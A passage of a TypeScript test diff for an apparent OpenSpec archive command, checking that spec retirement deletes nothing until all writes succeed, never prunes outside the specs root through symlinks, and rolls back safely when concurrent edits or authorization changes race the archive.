fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it('aborts instead of retiring when the emptied spec is also broken another way', async () => { + // "No requirements" is the only error retirement replaces. A spec that is + // additionally malformed is the author's to fix, so archive must abort as + // it always did rather than delete the evidence. + const changeName = 'retire-also-broken'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + // No `## Purpose` section at all: the rebuilt spec fails on that too. + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# legacy-layer Specification\n\n## Requirements\n\n${REQUIREMENT}\n` + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).resolves.not.toThrow(); + }); + + it('still writes the spec when requirements remain after the removal', async () => { + const changeName = 'partial-removal'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const kept = [ + '### Requirement: The system SHALL provide a core layer', + 'The system SHALL provide a core layer to every consumer.', + '', + '#### Scenario: Core is available', + '- **WHEN** a consumer imports the core', + '- **THEN** the core layer is available', + ].join('\n'); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + mainSpec('legacy-layer', `${REQUIREMENT}\n\n${kept}`) + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updated).toContain('core layer'); + expect(updated).not.toContain('legacy layer is available'); + }); + + it('keeps a nested capability alive under a retiring parent', async () => { + const changeName = 'retire-parent-of-nested'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const nestedDir = path.join(mainSpecDir, 'sub'); + await fs.mkdir(nestedDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + await fs.writeFile(path.join(nestedDir, 'spec.md'), mainSpec('sub')); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).rejects.toThrow(); + await expect(fs.access(path.join(nestedDir, 'spec.md'))).resolves.not.toThrow(); + }); + + // path.resolve collapses `..` but does NOT resolve symlinks, and readdir and + // rmdir both follow them. A string-prefix bound therefore let the prune walk + // delete directories anywhere on disk through a symlinked capability path. + it.skipIf(process.platform === 'win32')( + 'never prunes directories outside the real specs root through a symlink', + async () => { + const changeName = 'retire-through-symlink'; + await createChange(changeName, 'platform/legacy-layer', REMOVE_ALL); + const outside = path.join(tempDir, 'outside', 'platform'); + const linkedCapability = path.join(outside, 'legacy-layer'); + await fs.mkdir(linkedCapability, { recursive: true }); + await fs.writeFile(path.join(linkedCapability, 'spec.md'), mainSpec('legacy-layer')); + await fs.symlink(outside, path.join(tempDir, 'openspec', 'specs', 'platform'), 'dir'); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/resolves outside/); + + await expect(fs.access(path.join(linkedCapability, 'spec.md'))).resolves.not.toThrow(); + await expect(fs.access(linkedCapability)).resolves.not.toThrow(); + await expect(fs.access(outside)).resolves.not.toThrow(); + } + ); + + it('does not delete anything until every spec write has succeeded', async () => { + // Retirement is the only irreversible step, and the write loop is not + // transactional, so a sibling that fails validation must leave the + // retiring spec on disk and the change unarchived. + const changeName = 'retire-with-failing-sibling'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const badDeltaDir = path.join(changeDir, 'specs', 'other-layer'); + await fs.mkdir(badDeltaDir, { recursive: true }); + await fs.writeFile( + path.join(badDeltaDir, 'spec.md'), + // A requirement with no scenario: rebuilds fine, fails spec validation. + '# Other Layer - Changes\n\n## ADDED Requirements\n\n### Requirement: The system SHALL do a new thing\nThe system SHALL do a new thing.\n' + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it('applies a retirement and an ordinary update in the same archive', async () => { + const changeName = 'retire-and-add'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const addDeltaDir = path.join(changeDir, 'specs', 'core-layer'); + await fs.mkdir(addDeltaDir, { recursive: true }); + await fs.writeFile( + path.join(addDeltaDir, 'spec.md'), + [ + '# Core Layer - Changes', + '', + '## ADDED Requirements', + '', + '### Requirement: The system SHALL provide a core layer', + 'The system SHALL provide a core layer to every consumer.', + '', + '#### Scenario: Core is available', + '- **WHEN** a consumer imports the core', + '- **THEN** the core layer is available', + '', + ].join('\n') + ); + const legacyDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(legacyDir, { recursive: true }); + await fs.writeFile(path.join(legacyDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(legacyDir)).rejects.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'specs', 'core-layer', 'spec.md')) + ).resolves.not.toThrow(); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Totals: + 1, ~ 0, - 1, → 0') + ); + }); + + it('counts a rename applied on the way to the removal', async () => { + const changeName = 'retire-after-rename'; + await createChange( + changeName, + 'legacy-layer', + [ + '# Legacy Layer - Changes', + '', + '## RENAMED Requirements', + '', + '- FROM: `### Requirement: The system SHALL serve old clients`', + '- TO: `### Requirement: The system SHALL provide a legacy layer`', + '', + '## REMOVED Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + '**Reason**: The capability is retired.', + '**Migration**: None.', + '', + ].join('\n') + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + mainSpec( + 'legacy-layer', + [ + '### Requirement: The system SHALL serve old clients', + 'The system SHALL serve old clients over the v1 endpoint.', + '', + '#### Scenario: Old client calls v1', + '- **WHEN** an old client calls v1', + '- **THEN** the response is served', + ].join('\n') + ) + ); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(mainSpecDir)).rejects.toThrow(); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Totals: + 0, ~ 0, - 1, → 1') + ); + }); + + + it('deletes nothing when the user declines the spec update', async () => { + const { confirm } = await import('@inquirer/prompts'); + vi.mocked(confirm).mockResolvedValue(false); + const changeName = 'retire-declined'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), original); + + await archiveCommand.execute(changeName, {}); + + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(original); + }); + + it('reports nothing to retire when the spec vanished before the write', async () => { + // Guards the `if (retired)` branch: a racing deletion must not be counted + // as a retirement this run. + const update = { + id: 'legacy-layer', + source: path.join(tempDir, 'nope', 'spec.md'), + target: path.join(tempDir, 'openspec', 'specs', 'gone', 'spec.md'), + exists: false, + }; + + await expect( + retireSpec( + update, + path.join(tempDir, 'openspec', 'specs') + ) + ).resolves.toEqual({ retired: false }); + expect(console.log).not.toHaveBeenCalledWith(expect.stringContaining('Retiring')); + }); + + + // The archive destination is settled from the change name alone, so a + // collision is knowable before anything is touched. Discovering it after the + // merge deleted a spec for an archive that then never happened. + it('checks the archive destination before deleting anything', async () => { + const changeName = 'retire-colliding'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + await fs.mkdir( + path.join(tempDir, 'openspec', 'changes', 'archive', `${formatLocalDate()}-${changeName}`), + { recursive: true } + ); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /already exists/ + ); + + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it('keeps the retiring spec on disk when a later spec write fails', async () => { + // The validation pass runs before both loops, so only a failing WRITE + // proves deletions really are deferred to the end. + const changeName = 'retire-with-failing-write'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + // `zz-` keeps the retirement first in the prepared order, so an + // undeferred deletion would land before the failing write. + const otherDelta = path.join(changeDir, 'specs', 'zz-other-layer'); + await fs.mkdir(otherDelta, { recursive: true }); + await fs.writeFile( + path.join(otherDelta, 'spec.md'), + [ + '# Other - Changes', + '', + '## ADDED Requirements', + '', + '### Requirement: The system SHALL do a new thing', + 'The system SHALL do a new thing.', + '', + '#### Scenario: It happens', + '- **WHEN** invoked', + '- **THEN** it happens', + '', + ].join('\n') + ); + const legacyDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(legacyDir, { recursive: true }); + await fs.writeFile(path.join(legacyDir, 'spec.md'), mainSpec('legacy-layer')); + // Make the second spec's write throw, by putting a directory where its + // file belongs. Read-only permissions would be a no-op on Windows; this + // fails the write on every platform. + await fs.mkdir(path.join(tempDir, 'openspec', 'specs', 'zz-other-layer', 'spec.md'), { + recursive: true, + }); + + await archiveCommand.execute(changeName, { yes: true }).catch(() => undefined); + + await expect(fs.access(path.join(legacyDir, 'spec.md'))).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it('prunes a whole chain of emptied parents, not just one level', async () => { + const changeName = 'retire-deep'; + await createChange(changeName, 'a/b/legacy-layer', REMOVE_ALL); + const deep = path.join(tempDir, 'openspec', 'specs', 'a', 'b', 'legacy-layer'); + await fs.mkdir(deep, { recursive: true }); + await fs.writeFile(path.join(deep, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(path.join(tempDir, 'openspec', 'specs', 'a'))).rejects.toThrow(); + await expect(fs.access(path.join(tempDir, 'openspec', 'specs'))).resolves.not.toThrow(); + }); + + it('never prunes a sibling directory that merely shares the specs-root prefix', async () => { + const specsRoot = path.join(tempDir, 'openspec', 'specs'); + const sibling = path.join(tempDir, 'openspec', 'specs-extra', 'legacy-layer'); + await fs.mkdir(sibling, { recursive: true }); + await fs.writeFile(path.join(sibling, 'spec.md'), mainSpec('legacy-layer')); + + await expect( + retireSpec( + { id: 'legacy-layer', source: 'x', target: path.join(sibling, 'spec.md'), exists: true }, + specsRoot, + { silent: true } + ) + ).rejects.toThrow(/resolves outside/); + + await expect(fs.access(path.join(sibling, 'spec.md'))).resolves.not.toThrow(); + await expect(fs.access(sibling)).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'specs-extra')) + ).resolves.not.toThrow(); + }); + + it.skipIf(process.platform === 'win32')( + 'prunes even when the specs root is itself named through a symlink', + async () => { + const realRoot = path.join(tempDir, 'openspec', 'specs'); + const linkedRoot = path.join(tempDir, 'specs-link'); + await fs.symlink(realRoot, linkedRoot, 'dir'); + const capability = path.join(realRoot, 'legacy-layer'); + await fs.mkdir(capability, { recursive: true }); + await fs.writeFile(path.join(capability, 'spec.md'), mainSpec('legacy-layer')); + + await retireSpec( + { + id: 'legacy-layer', + source: 'x', + target: path.join(capability, 'spec.md'), + exists: true, + }, + linkedRoot, + { silent: true } + ); + + await expect(fs.access(capability)).rejects.toThrow(); + } + ); + + it('retires both capabilities when one archive empties two', async () => { + const changeName = 'retire-two'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const secondDelta = path.join(changeDir, 'specs', 'second-layer'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile( + path.join(secondDelta, 'spec.md'), + REMOVE_ALL.replace('Legacy Layer', 'Second Layer') + ); + for (const capability of ['legacy-layer', 'second-layer']) { + const dir = path.join(tempDir, 'openspec', 'specs', capability); + await fs.mkdir(dir, { recursive: true }); + await fs.writeFile(path.join(dir, 'spec.md'), mainSpec(capability)); + } + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(path.join(tempDir, 'openspec', 'specs', 'legacy-layer'))).rejects.toThrow(); + await expect(fs.access(path.join(tempDir, 'openspec', 'specs', 'second-layer'))).rejects.toThrow(); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Totals: + 0, ~ 0, - 2, → 0') + ); + }); + + it.skipIf(process.platform === 'win32')( + 'rejects deltas whose capability paths resolve to the same spec', + async () => { + const changeName = 'aliased-spec-updates'; + const changeDir = await createChange( + changeName, + 'a', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const secondDelta = path.join(changeDir, 'specs', 'b'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile(path.join(secondDelta, 'spec.md'), REMOVE_ALL); + + const realCapability = path.join(tempDir, 'openspec', 'specs', 'a'); + const aliasCapability = path.join(tempDir, 'openspec', 'specs', 'b'); + const target = path.join(realCapability, 'spec.md'); + await fs.mkdir(realCapability, { recursive: true }); + const original = mainSpec('a'); + await fs.writeFile(target, original); + await fs.symlink(realCapability, aliasCapability, 'dir'); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/resolve to the same target/); + + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'rejects missing spec targets beneath aliased capability directories', + async () => { + const changeName = 'aliased-missing-spec-updates'; + const changeDir = await createChange( + changeName, + 'a', + `## ADDED Requirements + +### Requirement: Behavior A +The system SHALL provide behavior A. + +#### Scenario: Behavior A is available +- **WHEN** A is requested +- **THEN** A is available +` + ); + const secondDelta = path.join(changeDir, 'specs', 'b'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile( + path.join(secondDelta, 'spec.md'), + `## ADDED Requirements + +### Requirement: Behavior B +The system SHALL provide behavior B. + +#### Scenario: Behavior B is available +- **WHEN** B is requested +- **THEN** B is available +` + ); + const realCapability = path.join(tempDir, 'openspec', 'specs', 'a'); + const aliasCapability = path.join(tempDir, 'openspec', 'specs', 'b'); + await fs.mkdir(realCapability, { recursive: true }); + await fs.symlink(realCapability, aliasCapability, 'dir'); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/resolve to the same target/); + + await expect(fs.access(path.join(realCapability, 'spec.md'))).rejects.toThrow(); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it('preserves a concurrent edit made immediately before an ordinary write', async () => { + const changeName = 'write-race-before-mutate'; + const changeDir = await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + const concurrent = `${mainSpec('legacy-layer')}\nConcurrent edit.\n`; + + const realMkdir = fs.mkdir.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let edited = false; + vi.spyOn(fs, 'mkdir').mockImplementation(async (candidate, options) => { + const result = await realMkdir(candidate, options); + if ( + !edited && + String(candidate).endsWith( + `${path.sep}openspec${path.sep}specs${path.sep}legacy-layer` + ) + ) { + edited = true; + await fs.writeFile(target, concurrent); + } + return result; + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/changed before archive could write them/); + + expect(edited).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(concurrent); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('preserves a concurrent edit made immediately before retirement', async () => { + const changeName = 'retire-race-before-mutate'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const specsRoot = path.join(tempDir, 'openspec', 'specs'); + const targetDir = path.join(specsRoot, 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const concurrent = `${mainSpec('legacy-layer')} +### Requirement: A concurrent requirement +The system SHALL preserve a concurrent requirement. + +#### Scenario: Concurrent requirement is available +- **WHEN** it is requested +- **THEN** it is available +`; + await fs.writeFile(target, mainSpec('legacy-layer')); + + const realRealpath = fs.realpath.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let edited = false; + vi.spyOn(fs, 'realpath').mockImplementation(async (candidate, options) => { + const result = await realRealpath(candidate, options as never); + if ( + !edited && + String(candidate).endsWith(`${path.sep}openspec${path.sep}specs`) + ) { + edited = true; + await fs.writeFile(target, concurrent); + } + return result; + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/changed before archive could retire them/); + + expect(edited).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(concurrent); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('preserves an edit that races the atomic retirement displacement', async () => { + const changeName = 'retire-race-at-displacement'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + const concurrent = `${mainSpec('legacy-layer')} +### Requirement: A concurrent requirement +The system SHALL preserve a concurrent requirement. + +#### Scenario: Concurrent requirement is available +- **WHEN** it is requested +- **THEN** it is available +`; + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let edited = false; + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + !edited && + String(source).endsWith( + `${path.sep}openspec${path.sep}specs${path.sep}legacy-layer${path.sep}spec.md` + ) && + String(destination).includes('.openspec-retire-') + ) { + edited = true; + await fs.writeFile(target, concurrent); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/changed while archive was securing it for retirement/); + + expect(edited).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(concurrent); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('does not retire when authorization is removed at the displacement boundary', async () => { + const changeName = 'retire-authorization-race-at-displacement'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const metadata = path.join(changeDir, '.openspec.yaml'); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let authorizationRemoved = false; + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + !authorizationRemoved && + String(source).endsWith( + `${path.sep}openspec${path.sep}specs${path.sep}legacy-layer${path.sep}spec.md` + ) && + String(destination).includes('.openspec-retire-') + ) { + authorizationRemoved = true; + await fs.writeFile( + metadata, + 'schema: spec-driven\nretire_capabilities: false\n' + ); + } + return realRename(source, destination); + }); + + let failure: unknown; + try { + await archiveCommand.execute(changeName, { yes: true }); + } catch (error) { + failure = error; + } + + expect(authorizationRemoved).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.readFile(metadata, 'utf-8')).resolves.toContain( + 'retire_capabilities: false' + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + expect(failure).toEqual( + expect.objectContaining({ + message: expect.stringMatching(/retirement authorization changed/), + }) + ); + }); + + it('rolls back retirement when authorization changes during the final move', async () => { + const changeName = 'retire-authorization-race-at-final-move'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const metadata = path.join(changeDir, '.openspec.yaml'); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let authorizationRemoved = false; + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + !authorizationRemoved && + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + authorizationRemoved = true; + await fs.writeFile( + metadata, + 'schema: spec-driven\nretire_capabilities: false\n' + ); + } + return realRename(source, destination); + }); + + let failure: unknown; + try { + await archiveCommand.execute(changeName, { yes: true }); + } catch (error) { + failure = error; + } + + expect(authorizationRemoved).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.readFile(metadata, 'utf-8')).resolves.toContain( + 'retire_capabilities: false' + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + expect(failure).toEqual( + expect.objectContaining({ + message: expect.stringMatching(/retirement authorization changed/), + }) + ); + }); + + it('restores a retired spec when the final archive move fails', async () => { + const changeName = 'retire-final-move-failure'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) + ) { + throw Object.assign(new Error('move denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/move denied/); + + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('restores an ordinary write when the final archive move fails', async () => { + const changeName = 'write-final-move-failure'; + const changeDir = await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) + ) { + throw Object.assign(new Error('move denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/move denied/); + + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it.skipIf(process.platform === 'win32')( + 'preserves the mode of an updated spec under a restrictive umask', + async () => { + const changeName = 'write-preserves-mode'; + await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + await fs.chmod(target, 0o664); + const previousUmask = process.umask(0o077); + onTestFinished(() => process.umask(previousUmask)); + + await archiveCommand.execute(changeName, { yes: true }); + + expect((await fs.stat(target)).mode & 0o777).toBe(0o664); + } + ); + + it.skipIf(process.platform === 'win32')( + 'preserves existing hard-link identity when updating a spec', + async () => { + const changeName = 'write-preserves-hard-link'; + await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + const linked = path.join(targetDir, 'linked-spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + await fs.link(target, linked); + const originalInode = (await fs.stat(target, { bigint: true })).ino; + + await archiveCommand.execute(changeName, { yes: true }); + + expect((await fs.stat(target, { bigint: true })).ino).toBe(originalInode); + expect((await fs.stat(linked, { bigint: true })).ino).toBe(originalInode); + await expect(fs.readFile(linked, 'utf-8')).resolves.toContain( + '### Requirement: A replacement behavior' + ); + } + ); + + it.skipIf(process.platform === 'win32')( + 'preserves a retired hard-link inode when the final archive move fails', + async () => { + const changeName = 'retire-hard-link-rollback'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + const linked = path.join(targetDir, 'linked-spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + await fs.link(target, linked); + const originalInode = (await fs.stat(target, { bigint: true })).ino; + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('final move denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /final move denied/ + ); + + expect((await fs.stat(target, { bigint: true })).ino).toBe(originalInode); + expect((await fs.stat(linked, { bigint: true })).ino).toBe(originalInode); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'retains a displaced backup changed through an open handle before commit cleanup', + async () => { + const changeName = 'retire-open-handle-race'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + const openTarget = await fs.open(target, 'r+'); + onTestFinished(() => openTarget.close().catch(() => undefined)); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let edited = false; + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + const result = await realRename(source, destination); + if ( + !edited && + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + edited = true; + await openTarget.truncate(0); + await openTarget.writeFile('concurrent content through open handle\n'); + await openTarget.sync(); + await openTarget.close(); + } + return result; + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /displaced spec changed.*backup was retained for recovery/s + ); + + expect(edited).toBe(true); + await expect(fs.access(target)).rejects.toThrow(); + await expect(fs.access(changeDir)).rejects.toThrow(); + const backup = (await fs.readdir(targetDir)).find((entry) => + entry.includes('.openspec-retire-') + ); + expect(backup).toBeDefined(); + await expect(fs.readFile(path.join(targetDir, backup!), 'utf-8')).resolves.toBe( + 'concurrent content through open handle\n' + ); + } + ); + + it('rolls back when a delta changes during the final archive move', async () => { + const changeName = 'delta-race-at-final-move'; + const changeDir = await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const delta = path.join(changeDir, 'specs', 'legacy-layer', 'spec.md'); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let edited = false; + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + !edited && + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) + ) { + edited = true; + await fs.appendFile(delta, '\nConcurrent delta edit.\n'); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/archived delta.*changed during the final move/); + + expect(edited).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await 